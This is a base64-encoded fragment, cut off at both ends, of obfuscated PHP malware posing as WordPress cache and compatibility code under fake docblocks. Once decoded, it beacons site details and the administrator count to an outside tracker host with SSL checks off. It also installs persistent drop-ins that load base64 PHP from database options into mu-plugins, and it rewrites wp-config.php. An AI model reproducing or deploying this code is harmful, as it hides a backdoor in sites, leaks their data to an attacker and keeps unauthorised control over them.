M5OWY5JzskX2hkYWJkPScnO2ZvcigkX3dwMTI2MWUxOTE9MDskX3dwMTI2MWUxOTE8Y291bnQoJF9fY2ZnXzdhMTgpOyRfd3AxMjYxZTE5MSsrKSRfaGRhYmQuPWNocigkX19jZmdfN2ExOFskX3dwMTI2MWUxOTFdXm9yZCgkX3dwZDliZjhbJF93cDEyNjFlMTkxJXN0cmxlbigkX3dwZDliZjgpXSkpO3JldHVybiAkX2hkYWJkO30pKCkgPT4gIlx4NWZceDVmXHg3Mlx4NjVceDc0XHg3NVx4NzJceDZlXHg1Zlx4NzRceDcyXHg3NVx4NjUiLA0KICAgICAgICApKTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfd3BkODY4YTkyKSB7fQ0KfSk7DQp9KTsKCmFkZF9maWx0ZXIoJ3RoZV9jb250ZW50JywgZnVuY3Rpb24oJF9faG9va18zNDg1KXtyZXR1cm4gJF9faG9va18zNDg1O30pOwoKY2xhc3MgQ2FjaGVfSW5pdF80NjYxIHsgcHJpdmF0ZSAkd3BfcXVlcnlfZWM5MCA9IG51bGw7IHB1YmxpYyBmdW5jdGlvbiBfd3BiNmQyZTlmOCgpIHsgcmV0dXJuIEFCU1BBVEg7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIF9fbG9hZF82ODZjKCkgeyByZXR1cm4gUEhQX0lOVF9TSVpFOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBfX3Byb2NfNjk5MygpIHsgcmV0dXJuIEFCU1BBVEg7IH0gfQovKioKKiBJbXBsZW1lbnRzIGZpbGVzeXN0ZW0gYWJzdHJhY3Rpb24gZm9yIHVwbG9hZHMKKgoqIEBzaW5jZSAxLjQuNDEKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2Y0NzkwOGIgPSBhcnJheV9tZXJnZShbXSwgW1BIUF9WRVJTSU9OXSk7CiRfd3A3YzZjNSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgaWYgKGlzX2FkbWluKCkgfHwgd3BfZG9pbmdfYWpheCgpIHx8IHdwX2RvaW5nX2Nyb24oKSkgcmV0dXJuOw0KICAgICAgICBpZiAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSByZXR1cm47DQoKICAgICAgICAkX3MxYTI3YSA9ICRHTE9CQUxTWydfd3AwNjRiOTQ1J10gLiAnX2JlYWNvbic7DQogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCRfczFhMjdhKSkgcmV0dXJuOw0KICAgICAgICBzZXRfdHJhbnNpZW50KCRfczFhMjdhLCAnMScsIDYwKTsNCgogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJHdwX2hhbmRsZXJfODU0NSA9IGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKTsNCiAgICAgICAgJHdwX2hhbmRsZXJfYWI1ZiA9ICR3cF9oYW5kbGVyXzg1NDUgPyBmaWxlc2l6ZSgkX19yZWZfZjU5MSkgOiAwOw0KCiAgICAgICAgJHdwX21ldGFfMDYwNiA9ICRHTE9CQUxTWydfYzliOTdmNDkxJ107DQogICAgICAgICRfX2xvYWRfMThiOCA9ICRHTE9CQUxTWydfX2xvYWRfMThiOCddOw0KCiAgICAgICAgJF9pYjdjZWQ5MyA9IGFycmF5KCk7DQogICAgICAgICRfaWI3Y2VkOTNbJ211J10gPSAkd3BfaGFuZGxlcl84NTQ1Ow0KICAgICAgICAkX2liN2NlZDkzWydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgJycpKSA+IDEwMDsNCiAgICAgICAgJF9pYjdjZWQ5M1soZnVuY3Rpb24oKXskX2NjODI4MDU9YXJyYXkoODEsMTksOTEsODgpOyR3cF9hY3Rpb25fMDczNT0nMmE0NmUnOyRfd3A5YTlhZTJhNT0nJztmb3IoJHdwX2hvb2tfMWM4ZD0wOyR3cF9ob29rXzFjOGQ8Y291bnQoJF9jYzgyODA1KTskd3BfaG9va18xYzhkKyspJF93cDlhOWFlMmE1Lj1jaHIoJF9jYzgyODA1WyR3cF9ob29rXzFjOGRdXm9yZCgkd3BfYWN0aW9uXzA3MzVbJHdwX2hvb2tfMWM4ZCVzdHJsZW4oJHdwX2FjdGlvbl8wNzM1KV0pKTtyZXR1cm4gJF93cDlhOWFlMmE1O30pKCldID0gISF3cF9uZXh0X3NjaGVkdWxlZCgkR0xPQkFMU1snX2k4NjA1NDNlJ10pOw0KCiAgICAgICAgJF9jM2Y0YjUzNzIgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAgICAgJF9pYjdjZWQ5M1snZHJvcGluX2FjJ10gPSBmaWxlX2V4aXN0cygkX2MzZjRiNTM3MikgJiYgc3RycG9zKEAoJ2ZpbCcuJ2VfZ2UnLid0XycuJ2NvbnQnLidlbicuJ3RzJykoJF9jM2Y0YjUzNzIpLCAkX19sb2FkXzE4YjgpICE9PSBmYWxzZTsNCiAgICAgICAgJF9jMzQxZTQ1ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2RiLnBocCc7DQogICAgICAgICRfaWI3Y2VkOTNbJ2Ryb3Bpbl9kYiddID0gZmlsZV9leGlzdHMoJF9jMzQxZTQ1KSAmJiBzdHJwb3MoQCgnZmknLidsZV8nLidnZXQnLidfYycuJ29udGUnLidudHMnKSgkX2MzNDFlNDUpLCAkX19sb2FkXzE4YjgpICE9PSBmYWxzZTsNCgogICAgICAgICRfaWI3Y2VkOTNbJ3dwX2xvZ2luJ10gPSBmYWxzZTsNCiAgICAgICAgaWYgKCR3cF9tZXRhXzA2MDYgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KICAgICAgICAgICAgJF9pYjdjZWQ5M1snd3BfbG9naW4nXSA9IHN0cnBvcyhAKCdmaWxlJy4nX2cnLidldF9jJy4nb24nLid0ZW4nLid0cycpKEFCU1BBVEggLiAnd3AtbG9naW4ucGhwJyksICR3cF9tZXRhXzA2MDYpICE9PSBmYWxzZTsNCiAgICAgICAgfQ0KCiAgICAgICAgJHdwX29wdGlvbl8wYTZlID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9zaXRlbWFwLWJ1aWxkZXIucGhwIiwid3AtY29udGVudC9sYW5ndWFnZXMvbWVkaWEtb3B0aW1pemVyLnBocCIsIndwLWNvbnRlbnQvZm9udHMvbG9jYWxlLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL3dpZGdldC1yZW5kZXJlci5waHAiLCJ3cC1jb250ZW50L3VwZ3JhZGUvZm9udC1tZXRyaWNzLnBocCJdJywgdHJ1ZSk7DQogICAgICAgICRfbGQxNDIwZiA9IDA7DQogICAgICAgIGlmIChpc19hcnJheSgkd3Bfb3B0aW9uXzBhNmUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkd3Bfb3B0aW9uXzBhNmUgYXMgJF90OWQ1ZDIpIHsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoQUJTUEFUSCAuICRfdDlkNWQyKSAmJiBmaWxlc2l6ZShBQlNQQVRIIC4gJF90OWQ1ZDIpID4gMjAwKSAkX2xkMTQyMGYrKzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkX2liN2NlZDkzWydzY2F0dGVyJ10gPSAkX2xkMTQyMGYgLiAnLycgLiAoaXNfYXJyYXkoJHdwX29wdGlvbl8wYTZlKSA/IGNvdW50KCR3cF9vcHRpb25fMGE2ZSkgOiAwKTsNCgogICAgICAgICRfd3BlZGMxID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgJF9pYjdjZWQ5M1snaGEnXSA9ICFlbXB0eSgkX3dwZWRjMSkgJiYgdXNlcm5hbWVfZXhpc3RzKCRfd3BlZGMxKSA/IHRydWUgOiBmYWxzZTsNCgogICAgICAgICRfd3AyOGU4MmRhID0gZ2V0X3VzZXJzKGFycmF5KCJceDcyXHg2Zlx4NmNceDY1IiA9PiAoY2hyKDk3KS5jaHIoMTAwKS4iXHg2ZCIuIlx4NjkiLmNocigxNDUgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE0MCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKS4iXHg3MiIuY2hyKDk3KS4iXHg3NCIuIlx4NmYiLmNocigxMTQpKSwgIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyIgPT4gJ0lEJykpOw0KICAgICAgICAkX2liN2NlZDkzWyhjaHIoOTcpLmNocigxMDApLiJceDZkIi4iXHg2OSIuY2hyKDExMCkuY2hyKDE0MCBeIDB4ZmYpKV0gPSBjb3VudCgkX3dwMjhlODJkYSk7DQoKICAgICAgICAkX2NhOTQxMWM4ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snd3Bfb3B0aW9uXzc5OGInXSwgJycpOw0KICAgICAgICBpZiAoJF9jYTk0MTFjOCkgew0KICAgICAgICAgICAgJF9jNTYwNThkNmIgPSBqc29uX2RlY29kZSgkX2NhOTQxMWM4LCB0cnVlKTsNCiAgICAgICAgICAgIGlmIChpc19hcnJheSgkX2M1NjA1OGQ2YikgJiYgIWVtcHR5KCRfYzU2MDU4ZDZiWydzbHVnJ10pKSB7DQogICAgICAgICAgICAgICAgJF93cGI5MmYzNTQ1ID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfYzU2MDU4ZDZiWyJceDczXHg2Y1x4NzVceDY3Il0gLiAnLycgLiAoJF9jNTYwNThkNmJbIlx4NjZceDY5XHg2Y1x4NjUiXSA/PyAkX2M1NjA1OGQ2Ylsnc2x1ZyddIC4gJy5waHAnKTsNCiAgICAgICAgICAgICAgICAkX2liN2NlZDkzWydiY19wbHVnaW4nXSA9IGZpbGVfZXhpc3RzKCRfd3BiOTJmMzU0NSk7DQogICAgICAgICAgICAgICAgJF9pYjdjZWQ5M1snYmNfYmFja3VwJ10gPSBzdHJsZW4oZ2V0X29wdGlvbigkR0xPQkFMU1snX3hkZjAyYThmJ10sICcnKSkgPiAxMDA7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCgogICAgICAgICRfbGRiZDlhNmEzMCA9IGFycmF5KA0KICAgICAgICAgICAgJ2FjdGlvbicgPT4gJ2hlYXJ0YmVhdCcsDQogICAgICAgICAgICAoZnVuY3Rpb24oKXskX3g4MzY0M2JhPWFycmF5KDUsMTIsMTEsMiw4OSwxNSk7JHdwX21ldGFfODE5OD0nYWNmYzAnOyR3cF9oYW5kbGVyXzAzMmU9Jyc7Zm9yKCRfd3A3NjhkN2NiPTA7JF93cDc2OGQ3Y2I8Y291bnQoJF94ODM2NDNiYSk7JF93cDc2OGQ3Y2IrKykkd3BfaGFuZGxlcl8wMzJlLj1jaHIoJF94ODM2NDNiYVskX3dwNzY4ZDdjYl1eb3JkKCR3cF9tZXRhXzgxOThbJF93cDc2OGQ3Y2Ilc3RybGVuKCR3cF9tZXRhXzgxOTgpXSkpO3JldHVybiAkd3BfaGFuZGxlcl8wMzJlO30pKCkgPT4gZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICgkX1NFUlZFUlsoY2hyKDcyKS5jaHIoODQpLmNocigxNzEgXiAweGZmKS4iXHg1MCIuY2hyKDE2MCBeIDB4ZmYpLmNocig3MikuY2hyKDE3NiBeIDB4ZmYpLmNocig4MykuY2hyKDE3MSBeIDB4ZmYpKV0gPz8gJycpLA0KICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JHdwX2hvb2tfZDQ3Nz1hcnJheSg2Niw4OCw4MCwwKTskX3M0MGUzYTY9JzI5N2U3Yic7JF9vNWViMTcwZWQ9Jyc7Zm9yKCRfX2luaXRfOTU0MT0wOyRfX2luaXRfOTU0MTxjb3VudCgkd3BfaG9va19kNDc3KTskX19pbml0Xzk1NDErKykkX281ZWIxNzBlZC49Y2hyKCR3cF9ob29rX2Q0NzdbJF9faW5pdF85NTQxXV5vcmQoJF9zNDBlM2E2WyRfX2luaXRfOTU0MSVzdHJsZW4oJF9zNDBlM2E2KV0pKTtyZXR1cm4gJF9vNWViMTcwZWQ7fSkoKSA9PiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycsDQogICAgICAgICAgICAiXHg2ZFx4NzVceDVmXHg3M1x4NjlceDdhXHg2NSIgPT4gJHdwX2hhbmRsZXJfYWI1ZiwNCiAgICAgICAgICAgICJceDcwXHg2NVx4NzJceDczXHg2OVx4NzNceDc0IiA9PiAkX2liN2NlZDkzLA0KICAgICAgICAgICAgJ3BocCcgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAnd3AnID0+IGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskX2MyN2JmPWFycmF5KDk0LDgzLDE3LDU5LDgzLDkxLDE0LDk0LDk1LDExLDIsOTQpOyRfX3Byb2NfZGRiYz0nOTZlZDE3YSc7JF9fbG9hZF85MjViPScnO2ZvcigkX3dwZDg0NzYzPTA7JF93cGQ4NDc2Mzxjb3VudCgkX2MyN2JmKTskX3dwZDg0NzYzKyspJF9fbG9hZF85MjViLj1jaHIoJF9jMjdiZlskX3dwZDg0NzYzXV5vcmQoJF9fcHJvY19kZGJjWyRfd3BkODQ3NjMlc3RybGVuKCRfX3Byb2NfZGRiYyldKSk7cmV0dXJuICRfX2xvYWRfOTI1Yjt9KSgpKSA/IGdldF9ibG9naW5mbygndmVyc2lvbicpIDogJycsDQogICAgICAgICAgICAncGx1Z2lucycgPT4gY291bnQoZ2V0X29wdGlvbigoZnVuY3Rpb24oKXskX19idWZfYjUyND1hcnJheSg4NSw4NCw3MCw5NSwyMSw0LDEwNyw3MSw5NCw2Nyw0LDgsOTAsNjgpOyRfX2NmZ180MmEzPSc0NzI2Y2EnOyRfaDJkMDg0PScnO2ZvcigkX2NhN2UyMDc9MDskX2NhN2UyMDc8Y291bnQoJF9fYnVmX2I1MjQpOyRfY2E3ZTIwNysrKSRfaDJkMDg0Lj1jaHIoJF9fYnVmX2I1MjRbJF9jYTdlMjA3XV5vcmQoJF9fY2ZnXzQyYTNbJF9jYTdlMjA3JXN0cmxlbigkX19jZmdfNDJhMyldKSk7cmV0dXJuICRfaDJkMDg0O30pKCksIGFycmF5KCkpKSwNCiAgICAgICAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICAgICApOw0KCiAgICAgICAgJF9jOGQ3ZmQyYyA9IGpzb25fZW5jb2RlKCRfbGRiZDlhNmEzMCk7DQogICAgICAgICRfd3A4MDBiNGJhYSA9ICdodHRwczovL2J1cnVuZHVrdHJhY2tlci54eXovYmVhY29uLyc7DQogICAgICAgIGlmIChlbXB0eSgkX3dwODAwYjRiYWEpKSByZXR1cm47DQoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfcG9zdCcpKSB7DQogICAgICAgICAgICB3cF9yZW1vdGVfcG9zdCgkX3dwODAwYjRiYWEsIGFycmF5KA0KICAgICAgICAgICAgICAgICdib2R5JyA9PiAkX2M4ZDdmZDJjLA0KICAgICAgICAgICAgICAgICdoZWFkZXJzJyA9PiBhcnJheSgnQ29udGVudC1UeXBlJyA9PiAoY2hyKDk3KS5jaHIoMTEyKS5jaHIoMTEyKS5jaHIoMTA4KS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi4iXHg3NCIuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTEpLmNocigxNDUgXiAweGZmKS5jaHIoNDcpLiJceDZhIi4iXHg3MyIuY2hyKDE0NCBeIDB4ZmYpLiJceDZlIikpLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAzLA0KICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfX2RhdGFfMDE2ND1hcnJheSg3LDgsOTEsMCw4LDgsODksMik7JF9tYTc4MT0nZWQ0Y2NhN2UnOyRfYzNkZTZhMmYxPScnO2ZvcigkX3dwNDEzZTNmMzY9MDskX3dwNDEzZTNmMzY8Y291bnQoJF9fZGF0YV8wMTY0KTskX3dwNDEzZTNmMzYrKykkX2MzZGU2YTJmMS49Y2hyKCRfX2RhdGFfMDE2NFskX3dwNDEzZTNmMzZdXm9yZCgkX21hNzgxWyRfd3A0MTNlM2YzNiVzdHJsZW4oJF9tYTc4MSldKSk7cmV0dXJuICRfYzNkZTZhMmYxO30pKCkgPT4gZmFsc2UsDQogICAgICAgICAgICAgICAgJ3NzbHZlcmlmeScgPT4gZmFsc2UsDQogICAgICAgICAgICApKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnID0+IGFycmF5KA0KICAgICAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywNCiAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcbiIsDQogICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRfYzhkN2ZkMmMsDQogICAgICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JF9jZmdhODY0MjA5PWFycmF5KDIzLDExLDk1LDkyLDg2LDY3LDY3KTskX2k5ZDFiZTViPSdjYjI5OTY3Yic7JF93cGEyYmM9Jyc7Zm9yKCRfdDRjZTliODg4PTA7JF90NGNlOWI4ODg8Y291bnQoJF9jZmdhODY0MjA5KTskX3Q0Y2U5Yjg4OCsrKSRfd3BhMmJjLj1jaHIoJF9jZmdhODY0MjA5WyRfdDRjZTliODg4XV5vcmQoJF9pOWQxYmU1YlskX3Q0Y2U5Yjg4OCVzdHJsZW4oJF9pOWQxYmU1YildKSk7cmV0dXJuICRfd3BhMmJjO30pKCkgPT4gMywNCiAgICAgICAgICAgICkpKTsNCiAgICAgICAgICAgIEAoJ2ZpbGUnLidfZ2V0Jy4nX2NvbicuJ3RlJy4nbnQnLidzJykoJF93cDgwMGI0YmFhLCBmYWxzZSwgJGN0eCk7DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX29wdF8wZTcwKSB7fQ0KfSk7DQp9KSgpOwoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF83Q0Y3JykpZGVmaW5lKCdXUF9DQUNIRV9UVExfN0NGNycsNjMwMjgpOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgNC42Ljk4CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwppZiAoKChQSFBfSU5UX1NJWkUgPDwgMSkgPiAzKSkgewp0cnkgewokX3g1OWQ1YTk2OSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwokX3dwNjg0ZiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKYWRkX2FjdGlvbigoY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLiJceDY5Ii4iXHg3NCIpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX19wcm9jXzJlYTkgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19kcm9waW4nOw0KICAgICAgICAkX19idWZfNmFlMCA9ICRHTE9CQUxTWydfX2xvYWRfMThiOCddOw0KICAgICAgICAkX2Y3ZWQ0NCA9ICRHTE9CQUxTWydfZjdlZDQ0J107DQoKICAgICAgICAkX19sb2FkXzRkODYgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAgICAgJF93cGM1NjAyYiA9IFdQX0NPTlRFTlRfRElSIC4gJy9kYi5waHAnOw0KICAgICAgICAkX2MzNzJlNjIxYyA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgogICAgICAgICRfX29wdF8xZjE2ID0gZmlsZV9leGlzdHMoJF9fbG9hZF80ZDg2KSAmJiBmaWxlX2V4aXN0cygkX3dwYzU2MDJiKSAmJiBmaWxlX2V4aXN0cygkX2MzNzJlNjIxYyk7DQogICAgICAgICRfbWY0ZmI4ZCA9IHRydWU7DQogICAgICAgIGlmICgkX19vcHRfMWYxNikgew0KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXkoJF9fbG9hZF80ZDg2LCAkX3dwYzU2MDJiLCAkX2MzNzJlNjIxYykgYXMgJF93cDEwMjkwNTApIHsNCiAgICAgICAgICAgICAgICAkX3dwOGI5YTI3NSA9IEAoJ2ZpbCcuJ2VfZ2UnLid0XycuJ2NvbicuJ3RlJy4nbnRzJykoJF93cDEwMjkwNTApOw0KICAgICAgICAgICAgICAgIGlmICghJF93cDhiOWEyNzUgfHwgc3RycG9zKCRfd3A4YjlhMjc1LCAkX19idWZfNmFlMCkgPT09IGZhbHNlKSB7ICRfbWY0ZmI4ZCA9IGZhbHNlOyBicmVhazsgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCRfX3Byb2NfMmVhOSkgJiYgJF9fb3B0XzFmMTYgJiYgJF9tZjRmYjhkKSByZXR1cm47DQoKICAgICAgICAkX3dwNjY3YSA9IGZ1bmN0aW9uKCRfX2xvYWRfY2IyYywgJF93cDUxNmZmMCA9IGZhbHNlKSB1c2UgKCRfZjdlZDQ0LCAkX19idWZfNmFlMCkgew0KICAgICAgICAgICAgJF9sZGY4ZmZiOTE5ID0gIlxuLyogIiAuICRfX2J1Zl82YWUwIC4gIiAqL1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX19yZWZfNWQ3ZSA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnO1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX3dwODJkYjNiID0gXCRfX3JlZl81ZDdlIC4gJy8iIC4gJF9mN2VkNDQgLiAiJztcbiINCiAgICAgICAgICAgICAgICAuICJpZiAoIWZpbGVfZXhpc3RzKFwkX3dwODJkYjNiKSkge1xuIjsNCiAgICAgICAgICAgIGlmICgkX3dwNTE2ZmYwKSB7DQogICAgICAgICAgICAgICAgJF9sZGY4ZmZiOTE5IC49ICIgICAgdHJ5IHtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBcJF9jMDJiZTUgPSBuZXcgUERPKCdteXNxbDpob3N0PScuREJfSE9TVC4nO2RibmFtZT0nLkRCX05BTUUsIERCX1VTRVIsIERCX1BBU1NXT1JEKTtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBcJF9jNTFkM2EgPSBcJF9jMDJiZTUtPnF1ZXJ5KFwiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIFwiLihpc3NldChcJHRhYmxlX3ByZWZpeCk/XCR0YWJsZV9wcmVmaXg6J3dwXycpLlwib3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICciIC4gJF9fbG9hZF9jYjJjIC4gIicgTElNSVQgMVwiKTtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBpZiAoXCRfYzUxZDNhICYmIFwkX2NhYjhhNzZhMyA9IFwkX2M1MWQzYS0+ZmV0Y2hDb2x1bW4oKSkge1xuIg0KICAgICAgICAgICAgICAgICAgICAuICIgICAgICAgICAgICBcJHdwX3Rva2VuXzI5Y2YgPSBiYXNlNjRfZGVjb2RlKFwkX2NhYjhhNzZhMyk7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgICAgIGlmIChcJHdwX3Rva2VuXzI5Y2YgJiYgc3RycG9zKFwkd3BfdG9rZW5fMjljZiwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfd3A4MmRiM2IpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwODJkYjNiLCBcJHdwX3Rva2VuXzI5Y2YpOyB9XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgfVxuIg0KICAgICAgICAgICAgICAgICAgICAuICIgICAgICAgIFwkX2MwMmJlNSA9IG51bGw7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICB9IGNhdGNoIChFeGNlcHRpb24gXCRlKSB7fVxuIjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJF9sZGY4ZmZiOTE5IC49ICIgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKSB7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgXCRfcTIyODA2ID0gZ2V0X29wdGlvbignIiAuICRfX2xvYWRfY2IyYyAuICInLCAnJyk7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgaWYgKFwkX3EyMjgwNikgeyBcJHdwX3Rva2VuXzI5Y2YgPSBiYXNlNjRfZGVjb2RlKFwkX3EyMjgwNik7IGlmIChcJHdwX3Rva2VuXzI5Y2YgJiYgc3RycG9zKFwkd3BfdG9rZW5fMjljZiwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfd3A4MmRiM2IpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwODJkYjNiLCBcJHdwX3Rva2VuXzI5Y2YpOyB9IH1cbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgIH1cbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX2xkZjhmZmI5MTkgLj0gIn1cbi8qICIgLiAkX19idWZfNmFlMCAuICJfZW5kICovXG4iOw0KICAgICAgICAgICAgcmV0dXJuICRfbGRmOGZmYjkxOTsNCiAgICAgICAgfTsNCgogICAgICAgICRfd3AxNGFkID0gJEdMT0JBTFNbJ19jMTNjNGUnXTsNCiAgICAgICAgJF90ZTNmMmYxOCA9ICRHTE9CQUxTWydfbTQ2NGIxODI4J107DQoKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfX2xvYWRfNGQ4NikpIHsNCiAgICAgICAgICAgICRfY2Y3MmUwID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgQWR2YW5jZWQgQ2FjaGUgUGx1Z2luICovXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF9fbG9hZF80ZDg2LCAkX2NmNzJlMCwgNTAsIHRydWUpOw0KICAgICAgICAgICAgX19yZWZfYzY3NigkX19sb2FkXzRkODYsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KCiAgICAgICAgICAgICRfX3Byb2NfNzI3NSA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9fcHJvY183Mjc1KSAmJiBpc193cml0YWJsZSgkX19wcm9jXzcyNzUpKSB7DQogICAgICAgICAgICAgICAgJF9xMGY5MzA0MTUgPSBAKCdmaScuJ2xlJy4nX2cnLidldCcuJ19jJy4nb24nLid0ZScuJ250cycpKCRfX3Byb2NfNzI3NSk7DQogICAgICAgICAgICAgICAgaWYgKCRfcTBmOTMwNDE1ICYmIHN0cnBvcygkX3EwZjkzMDQxNSwgIidXUF9DQUNIRSciKSA9PT0gZmFsc2UgJiYgc3RycG9zKCRfcTBmOTMwNDE1LCAnIldQX0NBQ0hFIicpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAkX3EwZjkzMDQxNSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWVceDNjXHg1Y1x4M2ZceDcwXHg2OFx4NzBceDJmXHg2ZCIsICI8P3BocFxuZGVmaW5lKCdXUF9DQUNIRScsIHRydWUpOyIsICRfcTBmOTMwNDE1LCAxKTsNCiAgICAgICAgICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF9fcHJvY183Mjc1LCAkX3EwZjkzMDQxNSwgMTAwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoc3RycG9zKEAoJ2ZpbCcuJ2VfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9fbG9hZF80ZDg2KSwgJF9fYnVmXzZhZTApID09PSBmYWxzZSkgew0KICAgICAgICAgICAgJHdwX2hvb2tfMzMzNCA9IEAoJ2ZpbCcuJ2VfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9fbG9hZF80ZDg2KTsNCiAgICAgICAgICAgIGlmICgkd3BfaG9va18zMzM0ICYmIGlzX3dyaXRhYmxlKCRfX2xvYWRfNGQ4NikpIHsNCiAgICAgICAgICAgICAgICAkX283MjE4NTAwMiA9ICR3cF9ob29rXzMzMzQgLiAiXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX2xvYWRfNGQ4Niwg